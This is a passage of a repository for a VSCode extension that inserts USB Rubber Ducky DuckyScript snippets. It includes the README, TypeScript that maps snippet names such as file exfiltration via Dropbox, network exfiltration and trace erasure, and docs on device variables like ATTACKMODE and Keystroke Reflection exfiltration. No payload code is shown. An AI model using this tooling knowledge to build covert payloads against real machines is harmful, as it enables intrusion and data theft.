documentation](https://docs.hak5.org/hak5-usb-rubber-ducky). If you start writing down what you need, it will be even easier to reduce your search in the documentation! 25 | 26 | ![](https://github.com/aleff-github/Deposito/blob/main/DuckyScriptCookbook/last_feature.gif?raw=true) 27 | 28 | ### Syntax Highlighting Dark && Light 29 | 30 | To properly enable Syntax Highlighting you need to enable the Dark or Light theme of DuckyScript. To do this you can click F1, type “theme” and select the theme you like best. 31 | 32 | ![](https://github.com/aleff-github/Deposito/blob/main/DuckyScriptCookbook/syntax-highlighting.gif?raw=true) 33 | 34 | ### What's Cooking? 🍳 35 | 36 | DuckyScript Cookbook is a simple yet powerful VSCode extension that helps you speedily paste ready-made DuckyScript snippets into your text files. Whether you're a coding newbie or a seasoned pro, we've got the right recipe to spice up your scripting experience! 37 | 38 | 39 | 40 | ### Features That Will Make You Quack with Joy 🥳 41 | 42 | #### 🐤 A Duck Icon for Your Text Files 43 | 44 | Ever wanted more ducks in your life? Now you can have an adorable duck icon grace all your text files! Sure, some might not be payloads, but who cares? Ducks make everything better, right? 🦆✨ 45 | 46 | ![Duck in the text](https://github.com/aleff-github/Deposito/blob/main/DuckyScriptCookbook/Ducky-In-The-Text.png?raw=true) 47 | 48 | #### 📖 Ready-to-Use Recipes (Sadly, Not Edible) 49 | Dive into our collection of pre-made DuckyScript "recipes" that are ready to be served hot into your projects. From simple tasks to complex operations, we've got a dish for every occasion. Bon appétit... err, we mean, happy coding! 🍽️ 50 | 51 | ![DuckyScript Cookbook](https://github.com/aleff-github/Deposito/blob/main/DuckyScriptCookbook/Ducky-Script-Cookbook.gif?raw=true) 52 | 53 | #### 📝 Useful Snippets and Where to Find Them 54 | Channel your inner wizard and explore a library of handy snippets waiting to be discovered. No Marauder's Map needed—just a couple of clicks, and you're there! Accio, perfect script! 🧙‍♂️✨ 55 | 56 | ![Usefull Snippets](https://github.com/aleff-github/Deposito/blob/main/DuckyScriptCookbook/Usefull-Snippets.gif?raw=true) 57 | 58 | #### 😎 A Cool Style to Show Off to Your Desk Neighbors 59 | Tired of boring old scripts? Impress your colleagues with slick and stylish code that's as cool as the other side of the pillow. They'll be so jealous, they might just quack in envy! 🕶️🔥 60 | 61 | ![DuckyScript Cookbook](https://github.com/aleff-github/Deposito/blob/main/DuckyScriptCookbook/Beautiful-Menu.gif?raw=true) 62 | 63 | ## How to Use This Ducktastic Extension 🦆💻 64 | 65 | 1. **Install the Extension**: 66 | - Head over to the VSCode Extensions Marketplace. 67 | - Search for **"DuckyScript Cookbook"**. 68 | - Click that shiny **"Install"** button. 69 | - Voilà! You're ready to roll. 70 | 71 | 2. **Insert Snippets and Recipes**: 72 | - Open any text file in VSCode. 73 | - Press `Ctrl+Shift+P` (or `Cmd+Shift+P` on Mac) to open the command palette. 74 | - Type **"DuckyScript Cookbook"** and select your desired snippet or recipe. 75 | - Watch as your script transforms into a masterpiece before your eyes! 76 | 77 | 3. **Enjoy the Duck Icons**: 78 | - Sit back and admire those cute duck icons adorning your files. Share the joy with your friends and turn your workspace into a virtual duck pond! 🦆🌊 79 | 80 | ## Why You'll Love It ❤️ 81 | 82 | - **Time Saver**: Spend less time typing repetitive code and more time doing what you love. 83 | - **User-Friendly**: Perfect for both beginners and experts alike. Simple, intuitive, and fun! 84 | - **Customizable**: Tailor the snippets and recipes to fit your unique needs and preferences. 85 | - **Mood Booster**: Because who wouldn't smile seeing ducks all over their workspace? 86 | 87 | ## Threads 88 | 89 | ### Feedback and Contributions 🗣️ 90 | 91 | We'd love to hear your thoughts, ideas, and duck jokes! If you have any suggestions or want to contribute to making this extension even more awesome, head over to our [GitHub repository](https://github.com/aleff-github/DuckyScriptCookbook) and let’s make some waves together. 🦆🤝 92 | 93 | ### Auto switch themes 94 | 95 | It is annoying to change the topic I admit and we are trying to think of a solution... for now a trick has been posted that may come in handy but join the thread to find a better solution for everyone. [Read more...](https://github.com/aleff-github/DuckyScriptCookbook/issues/1) 96 | 97 | ### Supporting new DuckyScript-based creations 98 | 99 | There are many devices that support the DuckyScript language in addition to the Hak5 devices such as the USB Rubber Ducky or the Flipper Zero. Here we are trying to figure out how to include the new features within the Syntax Highlighting system. [Read more...](https://github.com/aleff-github/DuckyScriptCookbook/issues/2) 100 | 101 | ## Other Stuff 102 | 103 | ### License 📄 104 | 105 | This project is licensed under the [GPLv3 License](./LICENSE). Feel free to use, modify, and distribute as you like. Spread the ducky love! 🦆❤️ 106 | 107 | ### Special Thanks 🎉 108 | 109 | A big quacking thank you to all the developers and contributors who made this project possible. You’re all ducking amazing! 🙌 Oh but wait, I'm just -- would you like to hear this thank you from you? [Contribute by reporting](https://github.com/aleff-github/DuckyScriptCookbook/issues) new recipes or snippets! 110 | 111 | ### Credits 112 | 113 | - Duck PNG image: Water toy icons created by cube29 - Flaticon | Flaticon License 114 | - Duck SVG image: Flat Icon Design Sepia Vectors - flat-icon-design | Public Domain Licence 115 | 116 | --- 117 | 118 | Happy Hacking and may the ducks be ever in your favor! 🦆💻✨ 119 | -------------------------------------------------------------------------------- /src/cpanel/code_panel_view_provider.ts: -------------------------------------------------------------------------------- 1 | import * as vscode from 'vscode'; 2 | import { PATH_TO_COOKBOOK } from '../utils/consts'; 3 | import * as cpanel from './run'; 4 | 5 | export class CodePanelViewProvider implements vscode.WebviewViewProvider { 6 | 7 | public static readonly viewType = 'duckyscript.Cookbook'; 8 | 9 | constructor( 10 | private readonly _extension: vscode.ExtensionContext, 11 | ) { } 12 | 13 | public resolveWebviewView( 14 | webviewView: vscode.WebviewView, 15 | context: vscode.WebviewViewResolveContext, 16 | _token: vscode.CancellationToken, 17 | ) { 18 | 19 | webviewView.webview.options = { 20 | // Allow scripts in the webview 21 | enableScripts: true, 22 | enableForms: true, 23 | enableCommandUris: true, 24 | 25 | localResourceRoots: [ 26 | this._extension.extensionUri 27 | ] 28 | }; 29 | 30 | webviewView.webview.html = this._getHtmlForWebview(webviewView.webview); 31 | 32 | webviewView.webview.onDidReceiveMessage(data => { 33 | 34 | // select text 35 | const active = vscode.window.activeTextEditor; 36 | if (!active) { return; } // null check 37 | 38 | const selection = active.selection; 39 | if (!selection) { return; } // null check 40 | 41 | switch (data.type) { 42 | // DuckyScript 3.0 Payloads 43 | case 'PAYLOAD_INTRO_3_0': 44 | active.edit(editBuilder => { 45 | const code = new cpanel.Code(this._extension.extensionUri); 46 | editBuilder.replace(selection, code.duckyscript(this._extension.asAbsolutePath(PATH_TO_COOKBOOK.PAYLOAD_INTRO_3_0))); 47 | }); 48 | break; 49 | case 'DETECT_READY_3_0': 50 | active.edit(editBuilder => { 51 | const code = new cpanel.Code(this._extension.extensionUri); 52 | editBuilder.replace(selection, code.duckyscript(this._extension.asAbsolutePath(PATH_TO_COOKBOOK.DETECT_READY_3_0))); 53 | }); 54 | break; 55 | case 'PASSIVE_WINDOWS_DETECT_3_0': 56 | active.edit(editBuilder => { 57 | const code = new cpanel.Code(this._extension.extensionUri); 58 | editBuilder.replace(selection, code.duckyscript(this._extension.asAbsolutePath(PATH_TO_COOKBOOK.PASSIVE_WINDOWS_DETECT_3_0))); 59 | }); 60 | break; 61 | case 'ERASE_TRACES_SHELL_3_0': 62 | active.edit(editBuilder => { 63 | const code = new cpanel.Code(this._extension.extensionUri); 64 | editBuilder.replace(selection, code.duckyscript(this._extension.asAbsolutePath(PATH_TO_COOKBOOK.ERASE_TRACES_SHELL_3_0))); 65 | }); 66 | break; 67 | case 'ERASE_TRACES_POWERSHELL_3_0': 68 | active.edit(editBuilder => { 69 | const code = new cpanel.Code(this._extension.extensionUri); 70 | editBuilder.replace(selection, code.duckyscript(this._extension.asAbsolutePath(PATH_TO_COOKBOOK.ERASE_TRACES_POWERSHELL_3_0))); 71 | }); 72 | break; 73 | case 'EXFILTRATE_FILES_USING_DROPBOX_WINDOWS_3_0': 74 | active.edit(editBuilder => { 75 | const code = new cpanel.Code(this._extension.extensionUri); 76 | editBuilder.replace(selection, code.duckyscript(this._extension.asAbsolutePath(PATH_TO_COOKBOOK.EXFILTRATE_FILES_USING_DROPBOX_WINDOWS_3_0))); 77 | }); 78 | break; 79 | case 'OPEN_POWERSHELL_3_0': 80 | active.edit(editBuilder => { 81 | const code = new cpanel.Code(this._extension.extensionUri); 82 | editBuilder.replace(selection, code.duckyscript(this._extension.asAbsolutePath(PATH_TO_COOKBOOK.OPEN_POWERSHELL_3_0))); 83 | }); 84 | break; 85 | case 'SAVE_FILES_IN_RUBBER_DUCKY_STORAGE_WINDOWS_3_0': 86 | active.edit(editBuilder => { 87 | const code = new cpanel.Code(this._extension.extensionUri); 88 | editBuilder.replace(selection, code.duckyscript(this._extension.asAbsolutePath(PATH_TO_COOKBOOK.SAVE_FILES_IN_RUBBER_DUCKY_STORAGE_WINDOWS_3_0))); 89 | }); 90 | break; 91 | case 'GENERALIZED_WINDOWS_USER_PATH_3_0': 92 | active.edit(editBuilder => { 93 | const code = new cpanel.Code(this._extension.extensionUri); 94 | editBuilder.replace(selection, code.duckyscript(this._extension.asAbsolutePath(PATH_TO_COOKBOOK.GENERALIZED_WINDOWS_USER_PATH_3_0))); 95 | }); 96 | break; 97 | case 'PHYSICAL_EXFILTRATION_3_0': 98 | active.edit(editBuilder => { 99 | const code = new cpanel.Code(this._extension.extensionUri); 100 | editBuilder.replace(selection, code.duckyscript(this._extension.asAbsolutePath(PATH_TO_COOKBOOK.PHYSICAL_EXFILTRATION_3_0))); 101 | }); 102 | break; 103 | case 'NETWORK_EXFILTRATION_3_0': 104 | active.edit(editBuilder => { 105 | const code = new cpanel.Code(this._extension.extensionUri); 106 | editBuilder.replace(selection, code.duckyscript(this._extension.asAbsolutePath(PATH_TO_COOKBOOK.NETWORK_EXFILTRATION_3_0))); 107 | }); 108 | break; 109 | 110 | // DuckyScript 1.0 Payloads 111 | case 'PAYLOAD_INTRO_1_0': 112 | active.edit(editBuilder => { 113 | const code = new cpanel.Code(this._extension.extensionUri); 114 | editBuilder.replace(selection, code.duckyscript(this._extension.asAbsolutePath(PATH_TO_COOKBOOK.PAYLOAD_INTRO_1_0))); 115 | }); 116 | break; 117 | case 'ERASE_TRACES_POWERSHELL_1_0': 118 | active.edit(editBuilder => { 119 | const code = new cpanel.Code(this._extension.extensionUri); 120 | editBuilder.replace(selection, code.duckyscript(this._extension.asAbsolutePath(PATH_TO_COOKBOOK.ERASE_TRACES_POWERSHELL_1_0))); 121 | }); 122 | break; 123 | case 'ERASE_TRACES_SHELL_1_0': 124 | active.edit(editBuilder => { 125 | const code = new cpanel.Code(this._extension.extensionUri); 126 | editBuilder.replace(selection, code.duckyscript(this._extension.asAbsolutePath(PATH_TO_COOKBOOK.ERASE_TRACES_SHELL_1_0))); 127 | }); 128 | break; 129 | case 'EXFILTRATE_FILES_USING_DROPBOX_WINDOWS_1_0': 130 | active.edit(editBuilder => { 131 | const code = new cpanel.Code(this._extension.extensionUri); 132 | editBuilder.replace(selection, code.duckyscript(this._extension.asAbsolutePath(PATH_TO_COOKBOOK.EXFILTRATE_FILES_USING_DROPBOX_WINDOWS_1_0))); 133 | }); 134 | break; 135 | case 'OPEN_POWERSHELL_1_0': 136 | active.edit(editBuilder => { 137 | const code = new cpanel.Code(this._extension.extensionUri); 138 | editBuilder.replace(selection, code.duckyscript(this._extension.asAbsolutePath(PATH_TO_COOKBOOK.OPEN_POWERSHELL_1_0))); 139 | }); 140 | break; 141 | case 'GENERALIZED_WINDOWS_USER_PATH_1_0': 142 | active.edit(editBuilder => { 143 | const code = new cpanel.Code(this._extension.extensionUri); 144 | editBuilder.replace(selection, code.duckyscript(this._extension.asAbsolutePath(PATH_TO_COOKBOOK.GENERALIZED_WINDOWS_USER_PATH_1_0))); 145 | }); 146 | break; 147 | 148 | // Both 149 | case 'OPEN_SHELL': 150 | active.edit(editBuilder => { 151 | const code = new cpanel.Code(this._extension.extensionUri); 152 | editBuilder.replace(selection, code.duckyscript(this._extension.asAbsolutePath(PATH_TO_COOKBOOK.OPEN_SHELL))); 153 | }); 154 | break; 155 | 156 | // showPanel 157 | case 'showPanel': 158 | this.showPanel(webviewView.webview); 159 | break; 160 | } 161 | }); 162 | 163 | vscode.window.onDidChangeActiveTextEditor((editor) => { 164 | this.showPanel(webviewView.webview); 165 | }); 166 | } 167 | 168 | private _getHtmlForWebview(webview: vscode.Webview) { 169 | // Do the same for the stylesheet. 170 | const styleMainUri = webview.asWebviewUri(vscode.Uri.joinPath(this._extension.extensionUri, 'media', 'css', 'main.css')); 171 | 172 | // Get the local path to main script run in the webview, then convert it to a uri we can use in the webview. 173 | const scriptMainUri = webview.asWebviewUri(vscode.Uri.joinPath(this._extension.extensionUri, 'media', 'js', 'main.js')); 174 | 175 | // Use a nonce to only allow a specific script to be run. 176 | const nonce = getNonce(); 177 | const cpBody = getCodePanelBody(); 178 | 179 | return ` 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | DuckyScript Cookbook 188 | 189 | 190 | ${cpBody} 191 | 192 | 193 | `; 194 | } 195 | 196 | private showPanel(webview: vscode.Webview) { 197 | const active = vscode.window.activeTextEditor; 198 | if (!active) return; 199 | const type = active.document.fileName.split('.').pop(); 200 | webview.postMessage({ command: type }); 201 | } 202 | } 203 | 204 | function getNonce() { 205 | let text = ''; 206 | const possible = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; 207 | for (let i = 0; i < 32; i++) { 208 | text += possible.charAt(Math.floor(Math.random() * possible.length)); 209 | } 210 | return text; 211 | } 212 | 213 | function getCodePanelBody() { 214 | const htmlBody = ` 215 |
216 |

Cookbook

217 |
218 |
219 |

DuckyScript 3.0

220 |
221 |
297 | `; 298 | return htmlBody; 299 | } -------------------------------------------------------------------------------- /src/commands/internal_variables.ts: -------------------------------------------------------------------------------- 1 | import * as vscode from 'vscode'; 2 | import { CommandInfo } from './structure' 3 | 4 | 5 | export const INTERNAL_VARIABLES_COMMANDS: CommandInfo[] = [ 6 | { 7 | label: "INTERNAL-VARIABLES-COMMANDS", 8 | detail: "", 9 | doc: new vscode.MarkdownString(` 10 | # INTERNAL VARIABLES 11 | 12 | ## BUTTON 13 | 14 | \`$_BUTTON_ENABLED\` - *Returns \`TRUE\` if the button is enabled or \`FALSE\` if the button is disabled. 15 | 16 | \`$_BUTTON_USER_DEFINED\` - *Returns \`TRUE\` if a \`BUTTON_DEF\` has been implemented in the payload or \`FALSE\` if it hasn't been implemented.* 17 | 18 | \`$_BUTTON_PUSH_RECEIVED\` - *Returns \`TRUE\` if the button has ever been pressed. May be retrieved or set.* 19 | 20 | \`$_BUTTON_TIMEOUT\` - *The button debounce, or cooldown time before counting the next button press, in milliseconds. The default value is 1000.* 21 | 22 | ## LED 23 | 24 | \`$_SYSTEM_LEDS_ENABLED\` - *Default set \`TRUE\`. May be retrieved or set. Boot and \`ATTACKMODE\` change LED.* 25 | 26 | \`$_STORAGE_LEDS_ENABLED\` - *Default set \`TRUE\`. May be retrieved or set.\nBlinks the LED red/green on storage read/write in \`ATTACKMODE STORAGE\`.* 27 | 28 | \`$_LED_CONTINUOUS_SHOW_STORAGE_ACTIVITY\` - *Default set \`TRUE\`. May be retrieved or set.\nThe LED will light solid green when the storage has been inactive for longer than \`$_STORAGE_ACTIVITY_TIMEOUT\` (default 1000 ms). Otherwise, the LED will light red when active.* 29 | 30 | \`$_INJECTING_LEDS_ENABLED\` - *Default set \`TRUE\`. May be retrieved or set. When \`TRUE\` the LED will blink green on payload execution.* 31 | 32 | \`$_EXFIL_LEDS_ENABLED\` - *Default set \`TRUE\`. May be retrieved or set. When \`TRUE\` the LED will blink green during Keystroke Reflection.* 33 | 34 | \`$_LED_SHOW_CAPS\` - *Default set \`FALSE\`. May be retrieved or set. When \`TRUE\` will bind the GREEN LED state to the \`CAPSLOCK\` state.* 35 | 36 | \`$_LED_SHOW_NUM\` - *Default set \`FALSE\`. May be retrieved or set. When \`TRUE\` will bind the RED LED state to the \`NUMLOCK\` state.* 37 | 38 | \`$_LED_SHOW_SCROLL\` - *Default set \`FALSE\`. May be retrieved or set. When \`TRUE\` will bind the GREEN LED state to the \`SCROLLOCK\` state.* 39 | 40 | ## ATTACKMODE 41 | 42 | \`$_CURRENT_VID\` - *Returns the currently operating Vendor ID with endian swapped. May only be retrieved. Cannot be set.* 43 | 44 | \`$_CURRENT_PID\` - *Returns the currently operating Product ID with endian swapped. May only be retrieved. Cannot be set.* 45 | 46 | \`$_CURRENT_ATTACKMODE\` - *Returns the currently operating \`ATTACKMODE\` represented as \`0\` for \`OFF\`, \`1\` for \`HID\`, \`2\` for \`STORAGE\` and 3 for both \`HID\` and \`STORAGE\`. 47 | 48 | ## RANDOM 49 | 50 | \`$_RANDOM_INT\` - *Random integer within set range.* 51 | 52 | \`$_RANDOM_MIN\` - *Random integer minimum range (unsigned, 0-65535).* 53 | 54 | \`$_RANDOM_MAX\` - *Random integer maximum range (unsigned, 0-65535).* 55 | 56 | \`$_RANDOM_SEED\` - *Random seed from seed.bin* 57 | 58 | \`$_RANDOM_LOWER_LETTER_KEYCODE\` - *Returns random lower letter scancode (a-z)* 59 | 60 | \`$_RANDOM_UPPER_LETTER_KEYCODE\` - *Returns random upper letter scancode (A-Z)* 61 | 62 | \`$_RANDOM_LETTER_KEYCODE\` - *Returns random letter scancode (a-zA-Z)* 63 | 64 | \`$_RANDOM_NUMBER_KEYCODE\` - *Returns random number scancode (0-9)* 65 | 66 | \`$_RANDOM_SPECIAL_KEYCODE\` - *Returns random special char scancode (shift+0-9)* 67 | 68 | \`$_RANDOM_CHAR_KEYCODE\` - *Returns random letter number or special scancode* 69 | 70 | ## JITTER 71 | 72 | \`$_JITTER_ENABLED\` - *Set \`TRUE\` to enable jitter. Default \`FALSE\`.* 73 | 74 | \`$_JITTER_MAX\` - *Sets the maximum time between key presses in milliseconds. The default maximum is 20 ms.* 75 | 76 | ## LOCK KEYS 77 | 78 | \`$_CAPSLOCK_ON\` - *\`TRUE\` if on, \`FALSE\` if off.* 79 | 80 | \`$_NUMLOCK_ON\` - *\`TRUE\` if on, \`FALSE\` if off.* 81 | 82 | \`$_SCROLLLOCK_ON\` - *\`TRUE\` if on, \`FALSE\` if off.* 83 | 84 | \`$_SAVED_CAPSLOCK_ON\` - *On USB attach or \`SAVE_HOST_KEYBOARD_LOCK_STATE\`, sets \`TRUE\` or \`FALSE\` depending on the reported OS condition.* 85 | 86 | \`$_SAVED_NUMLOCK_ON\` - *On USB attach or \`SAVE_HOST_KEYBOARD_LOCK_STATE\`, sets \`TRUE\` or \`FALSE\` depending on the reported OS condition.* 87 | 88 | \`$_SAVED_SCROLLLOCK_ON\` - *On USB attach or \`SAVE_HOST_KEYBOARD_LOCK_STATE\`, sets \`TRUE\` or \`FALSE\` depending on the reported OS condition.* 89 | 90 | \`$_RECEIVED_HOST_LOCK_LED_REPLY\` - *On receipt of any lock state LED control code, sets \`TRUE\`. This flag is helpful for fingerprinting certain operating systems (e.g. macOS) or systems which do not reflect lock keys.* 91 | 92 | ## STORAGE 93 | 94 | \`$_STORAGE_ACTIVITY_TIMEOUT\` - *As payload is running, this value decrements if storage activity is not detected. Default value is 1000.* 95 | 96 | ## EXFILTRATION 97 | 98 | \`$_EXFIL_MODE_ENABLED\` - *Default \`FALSE\`. Set \`TRUE\` to enable Keystroke Reflection. Will listen for \`CAPSLOCK\` and \`NUMLOCK\` changes, writing binary values to loot.bin. num=1, caps=0.* 99 | 100 | ## OS_DETECT 101 | 102 | \`$_HOST_CONFIGURATION_REQUEST_COUNT\` - *Used by \`OS_DETECT\` EXTENSION to detect device enumeration count.* 103 | 104 | \`$_OS\` - *Used by \`OS_DETECT\` EXTENSION to return value of fingerprinted operating system. May return \`WINDOWS\`, \`MACOS\`, \`LINUX\`, \`CHROMEOS\`, \`ANDROID\`, \`IOS\`. These names are reserved and should not be used in user variables.* 105 | 106 | `), 107 | text: "" 108 | },{ 109 | label: "INTERNAL-VARIABLES.BUTTON.$_BUTTON_ENABLED", 110 | detail: "", 111 | doc: new vscode.MarkdownString(` 112 | # BUTTON ENABLED 113 | 114 | Returns \`TRUE\` if the button is enabled or \`FALSE\` if the button is disabled. 115 | 116 | `), 117 | text: "$_BUTTON_ENABLED" 118 | },{ 119 | label: "INTERNAL-VARIABLES.BUTTON.$_BUTTON_USER_DEFINED", 120 | detail: "", 121 | doc: new vscode.MarkdownString(` 122 | # BUTTON USER DEFINED 123 | 124 | Returns \`TRUE\` if a BUTTON_DEF has been implemented in the payload or \`FALSE\` if it hasn't been implemented. 125 | 126 | `), 127 | text: "$_BUTTON_USER_DEFINED" 128 | },{ 129 | label: "INTERNAL-VARIABLES.BUTTON.$_BUTTON_PUSH_RECEIVED", 130 | detail: "", 131 | doc: new vscode.MarkdownString(` 132 | # BUTTON PUSH RECEIVED 133 | 134 | Returns \`TRUE\` if the button has ever been pressed. May be retrieved or set. 135 | 136 | 137 | `), 138 | text: "$_BUTTON_PUSH_RECEIVED" 139 | },{ 140 | label: "INTERNAL-VARIABLES.BUTTON.$_BUTTON_TIMEOUT", 141 | detail: "", 142 | doc: new vscode.MarkdownString(` 143 | # BUTTON TIMEOUT 144 | 145 | The button debounce, or cooldown time before counting the next button press, in milliseconds. The default value is 1000. 146 | 147 | `), 148 | text: "$_BUTTON_TIMEOUT" 149 | },{ 150 | label: "INTERNAL-VARIABLES.LED.$_SYSTEM_LEDS_ENABLED", 151 | detail: "", 152 | doc: new vscode.MarkdownString(` 153 | # SYSTEM LEDS ENABLED 154 | 155 | Default set \`TRUE\`. May be retrieved or set. Boot and ATTACKMODE change LED. 156 | 157 | `), 158 | text: "$_SYSTEM_LEDS_ENABLED" 159 | },{ 160 | label: "INTERNAL-VARIABLES.LED.$_STORAGE_LEDS_ENABLED", 161 | detail: "", 162 | doc: new vscode.MarkdownString(` 163 | # STORAGE LEDS ENABLED 164 | 165 | Default set \`TRUE\`. May be retrieved or set. 166 | 167 | Blinks the LED red/green on storage read/write in ATTACKMODE STORAGE. 168 | 169 | `), 170 | text: "$_STORAGE_LEDS_ENABLED" 171 | },{ 172 | label: "INTERNAL-VARIABLES.LED.$_LED_CONTINUOUS_SHOW_STORAGE_ACTIVITY", 173 | detail: "", 174 | doc: new vscode.MarkdownString(` 175 | # LED CONTINUOUS SHOW STORAGE ACTIVITY 176 | 177 | Default set \`TRUE\`. May be retrieved or set. 178 | 179 | The LED will light solid green when the storage has been inactive for longer than $_STORAGE_ACTIVITY_TIMEOUT (default 1000 ms). Otherwise, the LED will light red when active. 180 | 181 | `), 182 | text: "$_LED_CONTINUOUS_SHOW_STORAGE_ACTIVITY" 183 | },{ 184 | label: "INTERNAL-VARIABLES.LED.$_INJECTING_LEDS_ENABLED", 185 | detail: "", 186 | doc: new vscode.MarkdownString(` 187 | # INJECTING LEDS ENABLED 188 | 189 | Default set \`TRUE\`. May be retrieved or set. When \`TRUE\` the LED will blink green on payload execution. 190 | 191 | `), 192 | text: "$_INJECTING_LEDS_ENABLED" 193 | },{ 194 | label: "INTERNAL-VARIABLES.LED.$_EXFIL_LEDS_ENABLED", 195 | detail: "", 196 | doc: new vscode.MarkdownString(` 197 | # EXFIL LEDS ENABLED 198 | 199 | Default set \`TRUE\`. May be retrieved or set. When \`TRUE\` the LED will blink green during Keystroke Reflection. 200 | 201 | `), 202 | text: "$_EXFIL_LEDS_ENABLED" 203 | },{ 204 | label: "INTERNAL-VARIABLES.LED.$_LED_SHOW_CAPS", 205 | detail: "", 206 | doc: new vscode.MarkdownString(` 207 | # LED SHOW CAPS 208 | 209 | Default set \`FALSE\`. May be retrieved or set. When \`TRUE\` will bind the GREEN LED state to the CAPSLOCK state. 210 | 211 | `), 212 | text: "$_LED_SHOW_CAPS" 213 | },{ 214 | label: "INTERNAL-VARIABLES.LED.$_LED_SHOW_NUM", 215 | detail: "", 216 | doc: new vscode.MarkdownString(` 217 | # LED SHOW NUM 218 | 219 | Default set \`FALSE\`. May be retrieved or set. When \`TRUE\` will bind the RED LED state to the NUMLOCK state. 220 | 221 | `), 222 | text: "$_LED_SHOW_NUM" 223 | },{ 224 | label: "INTERNAL-VARIABLES.LED.$_LED_SHOW_SCROLL", 225 | detail: "", 226 | doc: new vscode.MarkdownString(` 227 | # LED SHOW SCROLL 228 | 229 | Default set \`FALSE\`. May be retrieved or set. When \`TRUE\` will bind the GREEN LED state to the SCROLLLOCK state. 230 | 231 | `), 232 | text: "$_LED_SHOW_SCROLL" 233 | },{ 234 | label: "INTERNAL-VARIABLES.ATTACKMODE.$_CURRENT_VID", 235 | detail: "", 236 | doc: new vscode.MarkdownString(` 237 | # CURRENT VID 238 | 239 | Returns the currently operating Vendor ID with endian swapped. May only be retrieved. Cannot be set. 240 | 241 | `), 242 | text: "$_CURRENT_VID" 243 | },{ 244 | label: "INTERNAL-VARIABLES.ATTACKMODE.$_CURRENT_PID", 245 | detail: "", 246 | doc: new vscode.MarkdownString(` 247 | # CURRENT PID 248 | 249 | Returns the currently operating Product ID with endian swapped. May only be retrieved. Cannot be set. 250 | 251 | `), 252 | text: "$_CURRENT_PID" 253 | },{ 254 | label: "INTERNAL-VARIABLES.ATTACKMODE.$_CURRENT_ATTACKMODE", 255 | detail: "", 256 | doc: new vscode.MarkdownString(` 257 | # CURRENT ATTACKMODE 258 | 259 | Returns the currently operating ATTACKMODE represented as 0 for OFF, 1 for HID, 2 for STORAGE and 3 for both HID and STORAGE 260 | 261 | `), 262 | text: "$_CURRENT_ATTACKMODE" 263 | },{ 264 | label: "INTERNAL-VARIABLES.RANDOM.$_RANDOM_INT", 265 | detail: "", 266 | doc: new vscode.MarkdownString(` 267 | # RANDOM INT 268 | 269 | Random integer within set range. 270 | 271 | `), 272 | text: "$_RANDOM_INT" 273 | },{ 274 | label: "INTERNAL-VARIABLES.RANDOM.$_RANDOM_MIN", 275 | detail: "", 276 | doc: new vscode.MarkdownString(` 277 | # RANDOM MIN 278 | 279 | Random integer minimum range (unsigned, 0-65535) 280 | 281 | `), 282 | text: "$_RANDOM_MIN" 283 | },{ 284 | label: "INTERNAL-VARIABLES.RANDOM.$_RANDOM_MAX", 285 | detail: "", 286 | doc: new vscode.MarkdownString(` 287 | # RANDOM MAX 288 | 289 | Random integer maximum range (unsigned, 0-65535). 290 | 291 | `), 292 | text: "$_RANDOM_MAX" 293 | },{ 294 | label: "INTERNAL-VARIABLES.RANDOM.$_RANDOM_SEED", 295 | detail: "", 296 | doc: new vscode.MarkdownString(` 297 | # RANDOM SEED 298 | 299 | Random seed from seed.bin 300 | 301 | `), 302 | text: "$_RANDOM_SEED" 303 | },{ 304 | label: "INTERNAL-VARIABLES.RANDOM.$_RANDOM_LOWER_LETTER_KEYCODE", 305 | detail: "", 306 | doc: new vscode.MarkdownString(` 307 | # RANDOM LOWER LETTER KEYCODE 308 | 309 | Returns random lower letter scancode (a-z) 310 | 311 | `), 312 | text: "$_RANDOM_LOWER_LETTER_KEYCODE" 313 | },{ 314 | label: "INTERNAL-VARIABLES.RANDOM.$_RANDOM_UPPER_LETTER_KEYCODE", 315 | detail: "", 316 | doc: new vscode.MarkdownString(` 317 | # RANDOM UPPER LETTER KEYCODE 318 | 319 | Returns random upper letter scancode (A-Z) 320 | 321 | `), 322 | text: "$_RANDOM_UPPER_LETTER_KEYCODE" 323 | },{ 324 | label: "INTERNAL-VARIABLES.RANDOM.$_RANDOM_LETTER_KEYCODE", 325 | detail: "", 326 | doc: new vscode.MarkdownString(` 327 | # RANDOM LETTER KEYCODE 328 | 329 | Returns random letter scancode (a-zA-Z) 330 | 331 | `), 332 | text: "$_RANDOM_LETTER_KEYCODE" 333 | },{ 334 | label: "INTERNAL-VARIABLES.RANDOM.$_RANDOM_NUMBER_KEYCODE", 335 | detail: "", 336 | doc: new vscode.MarkdownString(` 337 | # RANDOM NUMBER KEYCODE 338 | 339 | Returns random number scancode (0-9) 340 | 341 | `), 342 | text: "$_RANDOM_NUMBER_KEYCODE" 343 | },{ 344 | label: "INTERNAL-VARIABLES.RANDOM.$_RANDOM_SPECIAL_KEYCODE", 345 | detail: "", 346 | doc: new vscode.MarkdownString(` 347 | # RANDOM SPECIAL KEYCODE 348 | 349 | Returns random special char scancode (shift+0-9) 350 | 351 | `), 352 | text: "$_RANDOM_SPECIAL_KEYCODE" 353 | },{ 354 | label: "INTERNAL-VARIABLES.RANDOM.$_RANDOM_CHAR_KEYCODE", 355 | detail: "", 356 | doc: new vscode.MarkdownString(` 357 | # RANDOM CHAR KEYCODE 358 | 359 | Returns random letter number or special scancode 360 | 361 | `), 362 | text: "$_RANDOM_CHAR_KEYCODE" 363 | },{ 364 | label: "INTERNAL-VARIABLES.JITTER.$_JITTER_ENABLED", 365 | detail: "", 366 | doc: new vscode.MarkdownString(` 367 | # JITTER ENABLED 368 | 369 | Set \`TRUE\` to enable jitter. Default \`FALSE\`. 370 | 371 | `), 372 | text: "$_JITTER_ENABLED" 373 | },{ 374 | label: "INTERNAL-VARIABLES.JITTER.$_JITTER_MAX", 375 | detail: "", 376 | doc: new vscode.MarkdownString(` 377 | # JITTER MAX 378 | 379 | Sets the maximum time between key presses in milliseconds. The default maximum is 20 ms. 380 | 381 | `), 382 | text: "$_JITTER_MAX" 383 | },{ 384 | label: "INTERNAL-VARIABLES.LOCK-KEYS.$_CAPSLOCK_ON", 385 | detail: "", 386 | doc: new vscode.MarkdownString(` 387 | # CAPSLOCK ON 388 | 389 | \`TRUE\` if on, \`FALSE\` if off. 390 | 391 | `), 392 | text: "$_CAPSLOCK_ON" 393 | },{ 394 | label: "INTERNAL-VARIABLES.LOCK-KEYS.$_NUMLOCK_ON", 395 | detail: "", 396 | doc: new vscode.MarkdownString(` 397 | # NUMLOCK ON 398 | 399 | \`TRUE\` if on, 